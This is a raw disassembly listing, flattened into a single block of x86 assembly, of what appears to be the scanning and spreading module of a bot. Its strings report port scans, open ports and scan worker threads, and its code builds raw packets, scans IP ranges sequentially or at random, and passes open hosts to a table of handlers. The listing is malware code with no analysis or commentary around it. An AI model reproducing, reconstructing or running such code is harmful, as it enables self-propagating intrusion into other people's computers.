mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423267 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017EE push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017EE push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423396 ; --------------------------------------------------------------------------- loc_423267: ; CODE XREF: sub_422B40+688j push offset dword_4455E4 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455E0 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset aB ; " -b" mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4232A5: ; CODE XREF: sub_422B40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_4232BD: ; CODE XREF: sub_422B40+132j mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_422B40+735j ; sub_422B40+745j ... mov ecx, dword_4D808D lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h call near ptr 71AB951Eh nop push offset off_4455E0 mov ecx, esi call sub_4013ED mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_4455E4 call sub_4013ED test eax, eax jz short loc_42338B push offset off_4455E0 mov ecx, esi call sub_4013ED mov ebp, dword_511A9C mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp add esp, 8 xor bl, bl test edi, edi jle short loc_42337E loc_423362: ; CODE XREF: sub_422B40+83Cj test eax, eax jz short loc_42337E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423362 loc_42337E: ; CODE XREF: sub_422B40+820j ; sub_422B40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423396 ; --------------------------------------------------------------------------- loc_42338B: ; CODE XREF: sub_422B40+7F1j mov [esp+7A0h+var_630], 0 loc_423396: ; CODE XREF: sub_422B40+722j ; sub_422B40+849j mov edx, dword_4D808D xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017EE push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4233F8 mov eax, offset aSequential ; "sequential" loc_4233F8: ; CODE XREF: sub_422B40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:4453FAh[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BEA add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402284 mov al, 1 jmp loc_422F3B sub_422B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4236F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_448F30 mov ecx, offset dword_449958 setnz bl call sub_4014DD push eax push ebx push ebx push offset byte_4D8075 call sub_401857 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_445420[eax*4] inc ecx mov dword_445420[eax*4], ecx mov al, 1 retn sub_4236F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401E10j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h call near ptr 71AB951Eh nop mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50FAA8 nop call near ptr byte_5F285B mov eax, offset dword_50FAA8 add esp, 2Ch retn sub_423760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423820 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50DB50[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax call near ptr 71AB2BC0h nop mov dword_50DB50[esi*8], eax pop esi retn sub_423820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423860 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423892 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423892: ; CODE XREF: sub_423860+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_511AC8 add esp, 18h cmp eax, ebx jnz short loc_4238CA call esi mov [esp+1Ch+var_8], eax loc_4238CA: ; CODE XREF: sub_423860+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4238D6 call esi mov [esp+1Ch+var_C], eax loc_4238D6: ; CODE XREF: sub_423860+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4238E2 call esi mov [esp+1Ch+var_10], eax loc_4238E2: ; CODE XREF: sub_423860+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4238EC call esi loc_4238EC: ; CODE XREF: sub_423860+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50DB50[ecx*8], eax pop ebx add esp, 10h retn sub_423860 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423950 proc near ; CODE XREF: sub_401E56j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42397E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42397E: ; CODE XREF: sub_423950+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax call near ptr 71AB2B66h nop lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi nop call near ptr 71AB2DC0h push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423950 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_437B30 push ebx push ebp mov ebp, dword_511C38 push esi push edi push 2649h call ebp mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp mov [esp+26h], ax call near ptr 77C371D3h nop xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A37 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423B69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423C68 ; --------------------------------------------------------------------------- loc_423B69: ; CODE XREF: ___:00423B5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423BC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call near ptr byte_5F285B lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423BC2: ; CODE XREF: ___:00423B87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423C13 mov edi, dword_511C64 loc_423BEA: ; CODE XREF: ___:00423C11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi test eax, eax jl short loc_423C42 cmp [esp+0FEh], bp jnz short loc_423BEA loc_423C13: ; CODE XREF: ___:00423BE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423C63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C42: ; CODE XREF: ___:00423C07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: ___:00423C23j push offset dword_4456DC loc_423C68: ; CODE XREF: ___:00423B64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: ___:loc_401F41j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call near ptr 27E0C7Ah nop push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:44AF8Bh[eax*4] mov eax, dword_44B18F[eax*4] mov ecx, dword_50DB54[eax*8] test ecx, ecx jz loc_423FBE mov ebx, dword_511C00 loc_423D8C: ; CODE XREF: ___:00423FB4j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423DA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423DAF ; --------------------------------------------------------------------------- loc_423DA7: ; CODE XREF: ___:00423D96j call sub_401F55 add esp, 4 loc_423DAF: ; CODE XREF: ___:00423DA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_511C88 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx lea ecx, [esp+238h] push ecx push ebp call ebx mov edx, [esp+150h] mov eax, [esp+14Ch] push edx push eax push esi call sub_401E56 add esp, 2Ch cmp eax, 1 jnz loc_423F9A cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423EBF push offset dword_50FA90 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423E9F mov al, [esp+0A8h] test al, al jz short loc_423E7A mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423E97 ; --------------------------------------------------------------------------- loc_423E7A: ; CODE XREF: ___:00423E56j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423E97: ; CODE XREF: ___:00423E78j call sub_40152D add esp, 10h loc_423E9F: ; CODE XREF: ___:00423E4Bj lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50FA90 call near ptr 7C9010EDh nop jmp loc_423F9A ; --------------------------------------------------------------------------- loc_423EBF: ; CODE XREF: ___:00423E13j push esi call edi push eax lea eax, [esp+16Ch] push eax call ebx mov eax, [esp+150h] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+200h] lea edx, ds:4453F0h[ecx*4] push edx push eax call ebx mov al, [esp+0B8h] add esp, 10h test al, al jz short loc_423F0C lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423F19 ; --------------------------------------------------------------------------- loc_423F0C: ; CODE XREF: ___:00423EF8j lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423F19: ; CODE XREF: ___:00423F0Aj call ebx mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44541C[edx*4] add esp, 0BCh loc_423F9A: ; CODE XREF: ___:00423E05j ; ___:00423EBAj push 7D0h call near ptr 2830386h nop mov eax, [ebp+204h] mov ecx, dword_50DB54[eax*8] test ecx, ecx jnz loc_423D8C mov esi, [esp+10h] loc_423FBE: ; CODE XREF: ___:00423D80j push esi call sub_401E3D add esp, 4 push 0 nop call near ptr 28304F6h nop ; --------------------------------------------------------------------------- db 0B0h dup(0CCh) ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_402284j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50DB50[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40148D add esp, 150h cmp eax, ebx jnz short loc_424101 push offset dword_50FA90 call near ptr 278073Ah nop push offset dword_50FA90 call near ptr 2780E2Eh nop loc_424101: ; CODE XREF: ___:004240E9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_5118D8 mov esi, ebx mov dword_50DB54[edx*8], ebx cmp eax, ebx mov ebx, dword_511C00 jb loc_424230 mov edi, dword_51186C loc_424132: ; CODE XREF: ___:0042422Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BEA lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F41 push 0 push 0 mov dword_44B18F[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_44B19F[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_44B19F[eax*4] test ecx, ecx jz short loc_4241F8 mov eax, [esp+158h] test eax, eax jnz short loc_42421E loc_4241E7: ; CODE XREF: ___:004241F4j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4241E7 jmp short loc_42421E ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: ___:004241DAj nop call near ptr 27C08AAh push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42421E: ; CODE XREF: ___:004241E5j ; ___:004241F6j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424132 loc_424230: ; CODE XREF: ___:00424126j mov eax, [esp+12Ch] test eax, eax jz short loc_42425E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_424291 ; --------------------------------------------------------------------------- loc_42425E: ; CODE XREF: ___:00424239j mov ecx, [esp+130h] mov esi, 1 cmp dword_50DB54[ecx*8], esi jnz short loc_424291 loc_424273: ; CODE XREF: ___:00424288j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50DB54[edx*8], esi jz short loc_424273 mov eax, [esp+12Ch] loc_424291: ; CODE XREF: ___:0042425Cj ; ___:00424271j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50DB50[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_4242F2 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_40152D add esp, 10h loc_4242F2: ; CODE XREF: ___:004242CBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50DB54[eax*8], 0 call ebp push 3 call sub_40148D add esp, 4 cmp eax, esi jnz short loc_424334 push offset dword_50FA90 nop call near ptr 278073Ah loc_424334: ; CODE XREF: ___:00424327j mov ecx, [esp+130h] push ecx call sub_401E3D add esp, 4 push 0 nop call near ptr 28304F6h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424410 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424410 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424430: ; CODE XREF: ___:004015EBj mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401843 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424480 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp call near ptr 77C2C407h nop mov edx, eax add esp, 4 test edx, edx jz short loc_4244D2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_424480+16j mov eax, ebx pop ebp pop ebx retn 8 sub_424480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4021F8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424574 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424500 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245A0 proc near ; CODE XREF: sub_4016C2j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4245B3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4245B3: ; CODE XREF: sub_4245A0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4245A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245E0 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_4245F7 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4245F7: ; CODE XREF: sub_4245E0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424625 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424625: ; CODE XREF: sub_4245E0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424654 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42466F ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_4245E0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42466F: ; CODE XREF: sub_4245E0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_4245E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_401B7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_448F34 lea ecx, [esp+20h+var_8] call sub_4021F8 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424715 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424715: ; CODE XREF: sub_4246D0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016C2 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016C2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4246D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4247B0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4247B0 endp ; 